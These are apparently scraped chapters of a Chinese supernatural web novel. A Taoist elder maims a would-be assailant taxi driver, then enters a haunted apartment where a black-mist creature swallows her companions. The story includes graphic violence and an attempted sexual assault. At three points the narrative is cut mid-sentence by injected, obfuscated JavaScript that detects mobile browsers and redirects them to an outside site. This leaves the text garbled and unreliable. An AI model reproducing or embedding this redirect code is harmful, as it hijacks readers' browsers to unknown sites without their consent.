“这是……”车停在红绿灯路口,薄临看向姜满手中的核桃,有些惊讶。 这核桃圆润饱满,纹路浅而款,正是陈师傅先前在手里盘玩的,他要是没认错,这是文玩品种,价值上万。 “他放在香案上了,替我们开门的时候,我顺手拿走了……不好吃,你还是别吃了。”说着,她打开车窗,把手中核桃碎屑碾成粉末,随风扬了,“他坑了你两千块,我拿他两个核桃,他还是赚了。” 绿灯通行,薄临笑道:“很有道理。” “我夜里还要过来一趟,你今晚。好好休息,明天还需要你和我一起。” “夜里还来?你一个人?” 姜满闭上眼,往座椅后背靠了靠,“嗯,这地方有东西,我要弄清楚。” 47. 第一座山(47) 姜满并不清楚这个世界都有些什么东西,她习惯了克制自己的好奇心,为了避免麻烦,她甚至从不去想自己的由来,也不去想[空]的由来。 所以,即便身为天一道大长老三十余载,无论书上写的,还是别人说的,她只相信自己看到的。 过去克制是为了不成[空],现在,则是为了破除[空]。 她必须得到这些怨灵,即便她有得是时间一个一个去找怨灵超度,但太慢了,而且,她未必找得到第二个张云汉。 张云汉是人,会生老病死,而且,虽然她不深究,但也隐隐知道,张云汉的身份不会那么简单,只“因为是她要求他超度,所以超度之数便记在她身上”,这样的解释实在是过于牵强。 姜满不傻,也自认不算聪明,但她活了很久,就算[空]过无数次,这一次,她也活了近五十年了,按照正常人来看,这个年纪,也不可能还是个天真无畏的人。 她会怕,怕自己再也不是自己,更怕这世上无人再记得满家人,冤魂消散,化作虚无。 所以,通常情况下,她不愿意招惹麻烦。 不过,下山至今,她已经尽量不惹麻烦了,但人一旦有了欲望有了牵念,麻烦还是会找上门。 麻烦倒是不要紧,但不能白忙一场。 晚上十一点,姜满换了身便装来到薄家车库,发动她那辆蓝色大车,车子小心且缓慢的驶出薄家庄园路,停在了路边,她下车后,上了辆出门前叫的车。 时代真是变了,不过,即便现在马路很干净,几乎看不见虫蚁,但出于打车如此方便的前提下,她没必要浪费精力开上四十分钟甚至更久的车,何况,今时不同往日,如今,她已经完全掌握了超度之法,前方还有大量怨灵等着她。 这是一辆略显陈旧的黑色轿车,看起来在路边等了有一会儿了,车内气味不太好闻,但好在姜满并不在意这些,坐在了副驾。 “小姑娘,自己有车还叫车啊?这车是你的吗?”司机师傅显然看到了她从那辆车上下来,搭话道。 姜满并没有和路人聊天的习惯,没说话,闭目养神,假装没听见。 “这么晚了,你一个人打车,家里人放心吗?” 姜满依旧闭着眼,没有搭理他。 司机师傅叹息一声,“你们这些年轻小姑娘啊……这个时间出来多危险,乖乖在家睡觉不好吗?不过,你怎么会在这地方叫车?你从那个庄园路出来的……是来参加聚会的?你朋友们呢?刚刚那车,其实不是你的,对吧?你……”他絮絮叨叨说了好久,然后沉默片刻,试探性问道:“睡着了?” 见姜满始终没有回应,司机师傅终于闭上了嘴巴,播放起了音乐。 安静了一会儿,姜满睁开眼,正要看看时间,却瞥见窗外的路……不对劲。 她记忆力很好,这根本不是去六合公寓的路。 姜满看向司机放在方向盘旁边的手机支架,本应该显示路线的手机黑屏了,车内一点声音也没有。 她拿出自己的手机,查看地图。 “诶!小姑娘,你睡醒了啊?” 这司机是个中年男人,身形微胖,肤色偏黄,短发软塌,个子应该很高,即便坐着,离车顶不过两三公分,气质看起来是个老实人。 姜满有些烦躁,她闭了闭眼,深吸一口气,“我去六合公寓。” “这就是去六合公寓的路啊!”师傅朝她笑了笑,“我走的近路,晚上没人,这条路红绿灯少。” 姜满把自己手机上的地图送到他眼前,“你走错了。” 师傅憨笑一声,“嘿嘿,你这小姑娘还挺精明,我要接个人,小小绕一下,放心,不多收你钱。” “立刻,去六合公寓。”似乎是不想惹上不必要的麻烦,姜满再度深吸一口气,语气放缓了些,“我可以加钱。” 师傅腾出左手,按了一下门上的一个小按钮,只听“啪嗒”一声,车门锁上了。 “小姑娘蛮有钱嘛?”司机的笑容逐渐有些令人不适,“你能加多少?” 姜满看着他锁车门的手重新放回方向盘上,忽然笑了。 “你笑什么?”司机挑眉问道。 “惯犯?第几次了?” 她看向窗外,不知道他是怎么七拐八绕到这种小路上来的,人迹罕至,却也没有脱离城区。 “我最后给你一次机会,带我去六合公寓,我可以不动你。” “你可以不动我?哈哈哈哈……”司机像是听到了什么极好笑的笑话,随即左打方向,拐进一条土路,驶向一片荒地。 “看来这机会你是不要了。”姜满解开安全带,“我真的不想对你们这些普通人动手的,主要怕收不住力。” 司机转头打量了她两眼,笑容中还带着些轻蔑,“就你这细胳膊细腿的?我劝你还是乖乖听话,把钱都交出来,哥哥保证让你舒服!” 车子停在了荒地后的一片野林子前,司机猴急的解开安全带,伸出咸猪手正欲撕扯姜满的衣服,却被姜满一声大叫喝停了。 “等一下!我先问你一个问题,你有没有什么疾病,比如断手断脚,会死之类的?” 司机眉头一皱,“什么乱七八糟的!别耍花招,没用的!这地方一个人都不会有,你叫再大声都没人听得见!放心,哥哥身体好得很,你马上就会知道了!”说着,他笑着继续刚刚的动作。 姜满一把握住了他的手,轻轻一掰—— “啊——”司机的惨叫声似乎震颤了整辆车。 “叫吧,你叫再大声都没人听得见。”姜满顺势捏住他紧捂着受伤手指的另一只手,同样的方法,折断了他四根手指。 还在哀嚎之中的司机,又一声惨叫,痛苦得缩了起来。 八指被反向折断,这种疼,想必毕生难忘。 姜满拔出车钥匙,打开车门,走到驾驶位外,把司机拖了出来,然后俯身,问道:“你断手断脚,真的不会死,对吗?” 那司机又疼又怕,想要说话,却疼得张不开嘴,“不,不……” “嗯,不会,我知道了,而且你说过的,你身体好得很。” 她朝他甜甜一笑,拎起他的双腿裤子,折断了他的两只脚脚踝,她看向他裤框,嫌弃的松开手,“还有一条腿,真想也给你断了,但是……太脏了,怪恶心的,用别的办法,我又怕把你弄死了。” 司机拼命摇头,“饶、饶……饶命……错、错了……” 姜满斜睨了他一眼,走到车后,打开后备箱。 这后备箱还真是精彩,什么绳子、棒子,还有白色的自锁式尼龙塑料扎线带、黑色胶布、皮鞭、多件女式贴身衣物…… 都是罪证,还不能扔。 她从后备箱里拿了一卷黑胶布,重新关上后备箱,然后,她撕开胶布,在司机脑袋上绕了好几圈,封住他的嘴,把他拖上后座,关上车门,自己坐上了驾驶位。 发动车子后,她打开随身小包,拿出口罩戴了起来,又把头发披散开,遮住了脸。 调出手机地图,她朝着六合公寓驶去。 她记得没错,上午过去的时候就看见了,六合公寓附近,有个警察局。 车子一路开得磕磕绊绊,她开得不快,却时不时歪歪扭扭,后座的那人又疼又难受,忍不住想吐,可嘴巴被封住,只能强忍,实在忍不住了,又只能立刻咽下去。 就这样,凌晨十二点五十,车子停在了警局门口。 姜满在车内爬到副驾,转过头对那人说道:“乖乖自首,否则,无论你在哪儿,我都会找到你,到时候就不止断手断脚了。” 她朝他笑了笑,微微歪了歪脑袋,“我会,让你断头。” 说完,她从副驾位上下来,这面背对着警局,下车后,她扔了车钥匙,朝六合公寓走去,一边走一边拿出手机,拨给了天一道的人。 “……嗯,收拾了一个人渣,我送到警局了……嗯,人没事,我没用力……嗯,去的路上没有遮住脸,可能会被路上监控拍到,送过来的时候,我戴口罩了……嗯,你们处理一下……” 正走着,两双脚出现在姜满面前。她习惯微微低头走路,防止意外杀死某种记忆体。 抬起头,她眨了眨眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她看向薄临和张云汉,“你们真是……话我说在前面,两个电梯中间有安全通道,门开了之后,你们都在安全通道里给我待着,谁要是乱动给我惹麻烦,伤了死了都是你们自己的事,我可不管。” 薄临点点头,“嗯。” “好嘞,谨遵您的懿旨!” 张云汉如今是变得越来越滑头了,和姜满当初在天一道初见时那个小孩,简直判若两人。 简单打了招呼,黎佳宁便加入了这支开门大军,四人一起朝六合公寓走去。 张云汉凑到姜满身旁问道:“大长老,您刚刚在和谁打电话?” 姜满看看他,“天一道的人。” “天一道……您怎么会……” “在你手机上看到的。” “你什么时候翻我手机……”张云汉愣了愣,“刚离开天一疗养院的时候?” 他记得,只有那次,大长老拿走了他的手机,让他回头开车过来。 “嗯。” “你、您……”他后背有些凉飕飕的,“是天一道的谁啊?” 姜满没再搭理他,当先走进了楼栋,按亮电梯。 一声“叮”,电梯到达十九楼,楼道感应灯因为电梯的动静亮了起来,一股腥臭腐败的气味夹杂在闷热潮湿中扑面而来。 张云汉皱眉左右观瞧,打量着两扇差不多陈旧的门。 “你们确定……在这层?是哪家啊?” 姜满和薄临都看见了早上那扇门,二人相视一眼,都没有说话。 那扇上午还崭新的防盗门,上面那排营业时间的小字仍在,但门上竟然像是被湿气腐朽多年,锈迹斑斑; 门框边的墙砖上有斑驳的水渍,还不断凝结有细密的水珠,滑落再凝结,仿佛如此循环无数次; 墙砖碎裂开几块,露出的墙皮上渗着水,遍布绿色发灰的霉斑; 地上的墙角缝细里甚至长出了青苔和几个蘑菇。 吧嗒—— 楼道灯光熄灭,四周一片漆黑,仅有安全通道的绿光幽幽。 闷热、潮湿、恶心、离谱…… 这他妈是什么鬼地方? 48. 第一座山(48) 姜满跺了跺脚,灯光重新亮了起来,她又四下看了看,并没有任何变化,和刚才一样的离谱。 身后的薄临看向张云汉,张云汉立刻会意,拿出一个小盒子放在地上,一边摆弄着一边低声朝姜满解说道:“大长老,这是网络信号屏蔽器,这种可视门铃都是联网的,没网络啥也不是。” “这儿……怎么会湿乎乎的……” 站在靠电梯门位置的黎佳宁,在三人身后低声说着,三人闻声回过头看向她,倒把她看得有些手足无措。 她抿了抿嘴,拨开两个男人,走到姜满身旁,面向姜满看着的那扇门,“是要开这个门吗?” 姜满点点头,然后看向薄临和张云汉,“你们俩,没事就去安全通道等着吧。” 薄临并不放心,“这里怎么会变成这样,你知道吗?会不会有什么危险,是针对你的?你自己一个人,真的可以吗?” 姜满被他逗乐了,“首先,他们根本就不知道我到底是谁,更不知道我会这个时候再来,当然,这两个人的出现显示了你的嘴也并不严,被什么人知道了,也有这个可能;其次……我自己一个人不可以?怎么?我都不可以,你们三个,谁可以?” “我……”薄临有些语塞。 告诉张云汉的确是他私自做主,一来姜满并没有交代此事不能为旁人知晓;二来,叫上张云汉一起过来,在姜满的视角,这样的“保护”与“不放心”才合理。 今天,家里几个玄人姜满几乎都提到了,张云汉的半截名字,“远方亲戚”黎佳宁,唯独没有提到程书韫,与张云汉商议后,他们猜测姜满的目的就是程良程长老,那么,这件事唯一不能知道的,应该就是程书韫。 所以,才问了黎佳宁是否会开锁。 巫玄多擅御虫蛊,黎佳宁也不例外,七夕那天的表演足可见一斑,所以,她积极争取了这次机会,既想将功补过,也想拉近自己和这几人的关系。 “啊……”黎佳宁一声短促的低呼,将另三人的注意力转移到了她身上。 站在黎佳宁身旁的姜满看得更清楚,除了耳边的低呼声,她还看见黎佳宁控虫的手微微一抖,忙问道:“怎么了?” 黎佳宁看看身后两个男人,又看向姜满,“有东西……门缝里面,有东西……” “有东西?”姜满眉头微蹙,“什么样的,你能感觉到吗?” “不太确定……好像滑滑的,碰到的那一瞬间,它就缩回去了,我不知道是什么,但我的虫子身上,有它留下的粘液。” 张云汉问道:“那你的虫子呢?没事吧?” 黎佳宁摇摇头,“死了几个,没事,我再试试。” 姜满应了一声,随即看向张云汉和薄临,用眼神点了点安全通道的方向。 “等看到您进去了,我们三个一起——” “好了。”黎佳宁打断了张云汉的话,“门开了。” 说着,她轻轻拉开门把手,无数飞虫顷刻间被她收回,不知去了何处,半点影子也没留下。 下一瞬,无数木屑混杂着铁屑随着开门的状态塌落下来,在地上堆成了小山! 楼道安静得一点声音也没有,灯光再次熄灭了。 片刻之后,黎佳宁清了清嗓子,灯光恢复。 姜满看看地上的木屑,又抬头看了看被虫子啃食得所剩无几的门框,“这……就是你们说的不留痕迹?” 张云汉往薄临身后缩了缩,“那个,大长老,您记性好,您再仔细想想,我可没有一句话说过,另一个办法,不留痕迹啊……” 姜满觉得这一幕莫名有些熟悉,回忆中的画面来到了刚下山时,雾气蒙蒙的紫微山路…… ——大长老,我们不先去找掌门吗? ——我哪句话让你觉得我要去找掌门?还是我答应了谁,要去找张信德? “嗯,不错,是我想多了。”姜满挑了挑眉,朝张云汉招了招手,“你过来。” 张云汉有些畏惧,“我、我过来干嘛?” 姜满对他笑了笑,“进去之前,有事交代你。” “真的?” 姜满认真点头。 张云汉看了看她,又看了看薄临和黎佳宁,许是觉得有人在这里,又有要事在眼前,大长老应该不至于发火,遂小心地朝她走近。 方一走近,姜满身体往前一探,拽住他的手臂,侧身轻轻一拉,张云汉只觉自己腾空而起,紧接着,被她一个过肩摔,狠狠摔到了地上。 “……哎呦……你、你……”张云汉躺在地上哀嚎。 姜满俯下身看着他,“张云汉,做我的人,可以不聪明,但不能自作聪明,这些日子你表现还算不错,不过,偶尔,你好像会忘记我是谁、忘记你自己是谁。你,该长长记性了。” 她直起身子拍了拍手上的灰,“我试过了,你这身体还是很差,我要交代你的,就是继续跟薄先生锻炼,不可懈怠。” 说罢,她看向另两个没吱声的人,“都去安全通道等着吧,把他带着。” 黎佳宁和薄临一起扶起张云汉,朝安全通道走去。 看着这三人进了安全通道,姜满的视线转向那扇半开的门。 门里黑漆漆的,过道的灯光也并没有照亮里面多少,像是有某种吸光的物质,存在于这个诡异的地方。 她伸手拉开门,走了进去,回头合上了已然如同虚设的大门。 如预想中一般,这里完全不同于白天看见的那样雅致,连干净明亮都不复存在,客厅那面整墙的落地窗,像是被某种吸光涂料涂满,一丝光线没有。 她打开手机电筒。 嘀嗒…… 安静的屋子里,不时传来水汽凝结的水珠滴落的声音,却不清脆,像是滴入沼泽,厚重、微弱。 除此之外,隐隐还有像是大蛇缓慢蠕动的声音。 空气中弥漫着更为浓重的腐败气味,脚下像是铺了一层肮脏的胶水,粘连在鞋底,粘稠恶心,水汽遍布屋子的每一寸,墙上爬满了霉斑,屋内装饰陈设上也有那种粘液,似乎无处不在。 好在房子的格局等都没有变,变的似乎只有……皮相,像一个白日光鲜的美人,到了夜里,成了浑身爬蛆的腐朽尸体。 姜满定了定神,缓缓走进白天见陈师傅的那个房间,这房子的视线很差,进屋的瞬间,她清楚看见有什么东西从屏风旁边缩了回去,缩进了那间打通的隔壁房子里。 白天来这里时,一切看起来都很寻常,唯一古怪的,就是屏风和一半墙组成的隔断对面,那个她看不明白的东西。 姜满用手机电筒扫视着整个房间。 葵山道是道玄主符修,这里既然是程良的地方,到目前为止,她却一张符都没有见到过。 这儿,真的是程良的地方? 还是说,真正的幕后老板,是程书韫所说的碧虚那位也姓姜的掌门? 可惜碧虚已经烧成了废墟,否则去探个究竟,至少能知晓,碧虚是不是和这里一样,都是“披着画皮的女鬼”。 那么,现在就让她好好看看,这后面,到底是什么。 她一步步走到墙和屏风的中间,手机的光似乎照不清那边有什么,她隐约看见一个巨大的黑影,似乎填满了整个空间。 这难道是她白天见到的那个怪东西?可白天分明,没有这么大…… 她正要跨步过去,却被一道无形的屏障挡住了,脚像是踢在了绷紧的棉被上。 这是…… 姜满的心沉了下去。 这种感觉她太熟悉了,她被这样的屏障关了三十二年! 是葵山道掌门亲自设下的黑符! 姜满有些犹豫了。 她厌恶一切复杂的事,显然,眼前这件事,不是一般的复杂。为了得到那些到现在连具体数量都不知道的怨灵,甚至不知是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15073561|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能超度的怨灵……真的值得吗? 如果这地方真的是碧虚的手笔,那么就不仅是牵扯到葵山道的一个长老而已了,连葵山道掌门都…… 仲玄、重玄……众玄! 众玄王母,如果是众……呢? - 安全通道内,张云汉惨兮兮地靠着扶手栏杆坐在台阶上,薄临和黎佳宁站在他身后,用手机打着光,查看他后背有没有骨折或是其他伤。 “……这里也疼!嘶!这儿更疼……哎呦!轻点轻点……” 二人检查了一会儿,放下手机光源,薄临坐到了张云汉身旁,黎佳宁坐在了二人身后。 “你们怎么坐下来了?再看看啊!我感觉我全身骨头都散架了!” 黎佳宁撇撇嘴,低声道:“没有骨折,姜长老没对你下狠手。” 薄临轻轻点头,“嗯,回去好好休息,我明天叫孔医生再来替你检查一下。” 张云汉还有些不放心,把靠外侧的右手臂凑到二人面前,可怜兮兮道:“这手臂也疼得厉害,我摔下来的时候,用它护了一下身体,你们看看,是不是断了,还有我的手腕,感觉大长老拽我的时候手上有针似的,刺刺的……” 三人声音都很小,毕竟大晚上的,在楼道里大声喧哗,未免缺德。 薄临打光,黎佳宁查看。 片刻后,黎佳宁无奈道:“真的没事,你也太脆弱了一点……话说回来,你们天一道不是修斗术的道玄吗?你看起来也没什么战斗力……”她更低声的嘟囔着:“真不明白,姜长老怎么会让你跟着的……” 三人离得很近,楼道又安静,张云汉当然听见了她说的每一个字,当即有些生气,压低嗓音怒道:“你这话什么意思,我还想不明白呢,你对大长老动手差点杀了她,她怎么还能允许你和她住一起!” “姜长老说了,旧事不提!而且我本来就不是故意的,姜长老明事理,知道我是被逼的!” “就不应该喊你来开门!找个锁匠多好!就是你,害得我被大长老教训,开个门把门框都弄成那样了!你怎么不把门拆——” “嘘——” 薄临突然出声打断了二人的争吵,神色凝重地环顾四周。 黎佳宁到底年纪小,言辞难免不够妥帖,但她并不笨,此时也意识到自己言语有失,才引得张云汉生气,深吸一口气,低下头,“是我话说得不好,张前辈,得罪了。” 张云汉也是因为被姜满当众摔在地上,颜面有损,此时才一点就着,见小姑娘已经低头了,也平复下心绪,“没事没事,我说话也难听,你别往心里去。” 叫停了二人的薄临却没有出声,张云汉留意到他神色不对劲,问道:“怎么了?” “你们不觉得,哪里不对吗?” 张云汉顺着他的目光,四下看了看,一脸不解,“挺……黑的。” 二人身后的黎佳宁也道:“是啊,但是楼道里黑,不是很正常吗?” 薄临眉头微皱,“那么,楼道里,我们的声音再低,一点回音都没有,正常吗?”他忽然放开声音,以正常偏大的音量说道:“先把手机屏幕和灯光都关了。” 听到薄临突然略显突兀的大声,二人都吓了一跳,但很快反应过来了。 这声音像是被什么东西吸收了,像在车里,不,比车厢更加密闭、狭窄,更像是在一个塞满棉花的箱子里。 灯光熄灭,四周一片漆黑,伸手不见五指,连一点光影也看不见。 张云汉眨眨眼,咽了咽口水。 黑暗其实挺常见的,关了灯的房间、寻常的楼道,甚至只要闭上眼……但,这么黑,并不常见。 “这、这不对吧……我们还是先把手机打开再——” 他准备拍在薄临身上的手,落空了。 张云汉挥了挥手,没碰到一个人,他慌忙把手机按亮,“薄临?黎佳宁?……你们,在哪儿?” 49. 第一座山(49) 姜满退出房间,来到大门口,低头看了看那堆碎木屑,伸出脚,略显暴躁地把它踢散开来,在地板上的粘液里胡乱涂搅,然后在门槛上蹭了蹭鞋底,走出了这间古怪的屋子。 安全通道的门半开着,一点声音也没有,绿光幽幽。 这三个人,还挺安静…… 姜满走了进去,随后看见了空无一人的楼道,微微一怔。 脚下还有些发粘,看来刚刚在门槛上没蹭干净。 她一步步顺着湿滑的拖痕走上楼梯,停在了中间的扶手栏杆边,俯身捡起落在那上面的一根短发,拿到眼前端详。 明明早就知道,这些人,无论是谁,都只会是累赘,可偏偏她不能不管,至少,不能不管张云汉。 她走出安全通道,过道的感应灯已经熄灭了,头顶上的“安全通道”四个字散发出淡淡的绿光,门边张云汉放置的信号屏蔽器跳动着光点。 姜满深吸一口气,沉下心,抬眼仔细朝墙内看去。 黑暗中,她的眼睛像是蒙上了一层灰色的雾气,紧接着,瞳孔逐渐变成了银灰色,澄澈明亮。 那个怪东西出现在姜满的视线中。 像一团乌云,巨大的,微微蠕动着,占满整个空间,乌云里面似乎是实体,湿滑的,像鼻涕虫,所过之处,尽是它的粘液。 眼睛又开始胀痛,姜满强忍着,想要找到消失的三个人。 那怪东西似乎察觉到了姜满的视线,从那一团乌云似的虚体中,伸出一条蛇状的触须,但它仍是虚化的,看不见里面的实体。 许是因为没有那么庞大,这条触须上可以看到翻滚的、淡淡的黑气。 此刻,它正对姜满,像是有眼睛一般,在好奇的打量着姜满,甚至和小狗似的,歪了歪竖起的“脑袋”。 眼睛的胀痛让姜满眉头紧锁,她一动不动,静静地与那条触须“对视”着,等待它的靠近。 但它却没动,一直好奇的“看”着姜满,“脑袋”不时地左右歪歪。 这样僵持下去不是办法。 姜满试探性地蹲了下来,见它没有反应,于是,她伸出手,逗狗似的蜷蜷指尖,“嘬嘬嘬……” 触须顿了顿,接着,竟真的向姜满靠近了。 它穿墙而过,如一团黑雾,过墙的瞬间,重新凝结成形,腾空朝她游来。 姜满没动,她的眼睛此刻虽然无需那么费力了,但胀痛显然比白天严重得多,她无法站立,只能勉强蹲着。 她看着那根冒着黑气的触手在她周身,明显是在打量她。 现在看得更清楚了。 很黑的东西,阻断了所有的光,当然,这里的光本就微弱,而姜满此刻,也不打算弄出什么动静来,感应灯自然也不会亮。 它看起来约有水桶粗细,前端逐渐变细成尖,像巨蛇的蛇尾,却没有斑纹鳞片,只有黑雾。 但…… 它忽然凑到姜满脸上,像一个巨大的舌头似的,舔舐她的脸颊。 是的,它分明是一团黑雾,但被它触碰过的地方,会留下一滩粘液,比如姜满的脸颊,比如那面好似切断它身体却只是被它穿过的墙。 一下、两下…… 姜满感觉到脸上粘腻的液体,已经顺着脖子落在了衣服上。 这东西,不臭,但,实在恶心,可她还得—— 她猛地出手,一把抓住了这条黑雾触须前端,接着,勾起嘴角…… 抓到你了,怪东西! 下一瞬间,空气中有某种能量在震荡,一圈一圈,在她的视野里,缓慢而又迅速! 轰—— 忽然,有什么东西在她的脑海中砰得炸开,像一个实心的玻璃球,它承受不住重压,碎成无数玻璃碎片,每一个碎片都扎在她的大脑里…… 痛! 剧痛! 密密麻麻的! 无休无止的! 痛! 姜满不知道自己是何时松开手的,她瘫倒在地上,死死捂住脑袋,身体蜷缩成一团,止不住的抽搐,久久不能动弹。 黑雾触须并没有缩回去,它仍在姜满周身徘徊,像是在找合适的位置,想要再度触碰她。 不知过了多久,姜满终于缓过气来,她侧卧在潮湿粘腻的地上,伸出还有些颤抖的手,缓缓擦了擦脸,但很快,她就发现,擦和不擦,没什么区别。 只是,她脸上有未知物的粘液,有涕泪,还有呕吐出来的秽物,混杂在一起,实在是……太恶心了。 还好,至少,她没失禁,很了不起了。 黑雾触须似乎发现了姜满的动静,游动到她眼前,晃悠着它的尖尖,缓缓而下,再次“舔舐”起她的脸。 姜满很想挡开它,可她的力气实在有限,她需要休息以快速恢复,她还要…… 我要干什么来着?我……怎么会在这儿的? 头又开始痛了,她想伸手揉一揉,但那个东西在舔她的脸,她本能的,害怕碰到它,害怕自己的手会再度带来天崩地裂的痛。 可为什么呢?为什么我会在这里?为什么我会害怕?为什么会头痛? 因为……抓到了…… 对了!脑袋炸了一下,然后……好多碎片,数不清的,扎进脑袋里…… 姜满皱皱眉。 那些碎片似乎,有画面…… 她觉得自己的脑子很乱,从未有过的,一团乱麻。 不对劲,很不对劲! 她用力闭了闭眼,再睁开眼时,模糊的视线里,出现了“生命体”,很小的、微弱的生命力,很多个,星星点点,就在黑雾触须里面,它们似乎,在试图逃出来…… 这是,虫子……巫玄…… 巫玄……九黎寨……黎、佳宁! 黎佳宁,这次,多亏你了。 姜满缓了缓,没有再理会那个在她脸上来来回回的触手,而是略显吃力的调整姿势,手肘撑地,试图支起身体,但地上太滑,尝试几次失败之后,她翻了个身,趴在地上,然后缓缓蜷起双腿,从趴,变成跪趴。 总算,能使上力了。 姜满抬手,用手臂挡开了那条触须,然后扬起头—— 砰! 脑袋重重砸在地上。 不,还不够! 砰! 又是重重一砸。 她一下下磕砸着脑袋,一次抬得比一次高,一次磕得比一次更重。 胸前挂着的掌门印滑到她眼前,她像是想起了什么,腾出一只手,扯下掌门印,把它放在地上,再一次,抬起头,接着,以她目前能使出的最大力气,狠狠把头磕砸在掌门印上—— 像是虚脱一般,满头是血的姜满捡起掌门印,握在手心,随即再次倒在地上,仰面躺着。 一时想不起来是谁对她说过的:抽象的痛,要用具象的痛,才能覆盖,才能消除。 虽然她不确定头痛是抽象还是具象,但见血一定是具象,且现在看来,挺有效的…… 姜满喘着气,头脑逐渐恢复理智。 她看向那条又凑了上来的黑雾触须,没有任何动作。 张云汉、薄临、黎佳宁,这三个人,是一起的,他们被困在了这个东西的身体里,他们中唯一有点用的黎佳宁,放出虫子,试图找到出来的路,所以,她才看到了那些虫子。 那么,她要怎么把他们三个弄出来?或者说,她应该,怎么进去? 这东西似乎非常迷恋姜满的脸,一直在她脸上蹭来蹭去,她不耐烦地偏了偏头,看向自己的手。 不能碰它,不能用手碰它…… 姜满往那扇门框所剩无几的大门爬去,黑雾触须并没有跟上去,而是停在半空,尖端向天线一样,一直跟着姜满的行迹。 将近未近之时,姜满又倒了下来,她伸出手臂,够到了那个信号屏蔽器,然后缓缓支起身体靠墙坐着。 她侧过脸,朝黑雾触须勾了勾手指,“嘬嘬嘬……” 不出她所料,这东西有些狗性,向她靠近了。 姜满笑着看它靠近,手中紧握那个屏蔽器,接着,找准时机,把屏蔽器扔向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083013|155775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了它的身体,瞬间,盒子消失不见,显然,进入了它的身体里。 很好。 她扶着墙,缓缓站了起来。 腿还有些发软,但是没关系,她能感觉到,额头的伤口在愈合,她的自愈力还在,所以,先进去,找到他们,另外,她也忍不住想了解一下,这怪物,到底是个什么东西。 砸进黑雾触须身体里的信号屏蔽器,没给它带来一丝影响,它在姜满面前缓慢游动,没有一点攻击倾向,似乎有些好奇她在做什么。 姜满没有犹豫,将手背在身后,转了转脚脖子,随即,朝它身体中段撞去。 耳朵瞬间像被什么堵住了,她,进入了黑暗…… 过道恢复寂静,“安全通道”四个字散发出绿色的幽光,在这绿光之中,有一个小小的红点,缓缓缩回了更深处。 - “尊主,是我疏忽了。若非您及时提点,恐怕明日我们要中了算计,请尊主责罚。”中年男人的视线从定格的画面上离开,低头请罪。 幕布之下,一个和姜满长得很像的女人,按下遥控,关掉了幕布上显示的监控画面。 房间很黑,女人打开了灯,走到一块贴满了照片的玻璃板前,明亮的灯光下,女人的脸看起来有些说不出的古怪,僵硬、微肿,还有些青紫。 “张云……很有意思。” 玻璃板上不仅有大量姜满和同伴的照片,还有一些画像,画的似乎是不同年代的姜满。 女人的手轻点着其中一张姜满的照片,然后低头看了看自己与照片上姜满同样的装束,这张照片是姜满在麓川医院的时候,穿得青春靓丽,像个高中生。 “程长老,我这样打扮,好看吗?” 程良愣了愣,随即低下头,“尊主自然是极美的。” “嗯……对了!她想要怨灵,是吗?” “是的。” 女人轻飘飘说道:“给她吧。” “给、给她?” “对啊,她不是想要吗?我留着也没什么用,何不成人之美呢?” “可是……我们还不知道她要怨灵做什么,而且,我们也不知道,为何神使大人会对她如此亲近、如此……” “她让那个张云汉待在身边,不就是为了超度亡魂吗?她这么好心,那就看看是不是什么怨灵,她都会超度。”女人笑着看了程良一眼,“至于神使……不是已经给她教训了吗?你没看见她都跪地磕头求饶了吗?你口中的所谓‘亲近’,不过是因为,她身上戴着我的东西。” “您的……您是说,天一道掌门印?” “你这地方神使已经厌倦了,过两日,派人接回来吧。” “是。” 女人指尖轻触照片上的姜满脸庞,“没想到,她真的什么都不记得了……”她笑着移动手指,然后指尖停在了另一个人的照片上,“比起姜满,如今,我倒是对这个人,更好奇了呢。” 程良看向她所指的照片,正是薄临。 “需要去调查吗?” “调查?”女人嗤笑一声,“他的信息打开手机就能查到,这样的人,最难查。” 她顿了顿,像是想到了十分有趣的事,娇笑出声,“不必查了,去,告诉‘那个人’,我已经等不及了,计划提前。” 程良眉头微不可见的皱了皱,随即点头,“是。”他抬头看了看投影机,“那……是否需要放他们出来?” 女人摇了摇头,“那多没意思!你去吧,我还有好戏要看。” “是。” 程良离开后,女人走到窗边,对着窗玻璃的倒影,照着自己的脸,细细查看着眼尾嘴角,面上镇定的神情,忽然展开,从微笑逐渐变为大笑,状若疯癫。 “……没关系,很快,我就不会再变老了……” 她的目光越过玻璃,看向窗外夜空,然后伸出手,掌心忽然升起一朵菊花,正是十丈珠帘。 花蕊冒出缕缕黑气,黑气在其上凝结,逐渐成为一小团黑雾。 黑雾之中,她,看到了姜满。 50. 第一座山(50) 姜满像是闯入了某个地底洞穴,如果没有感觉错,这里空间应该很大,大到无法估量,太黑了,姜满几乎想不出,这世界上有什么地方会这么黑,一丝光都没有,而且,明明应该是空旷的地方,听觉却使人感觉更像是被塞进了密闭的箱子。 进入到这东西的内部,一切显得更古怪了。 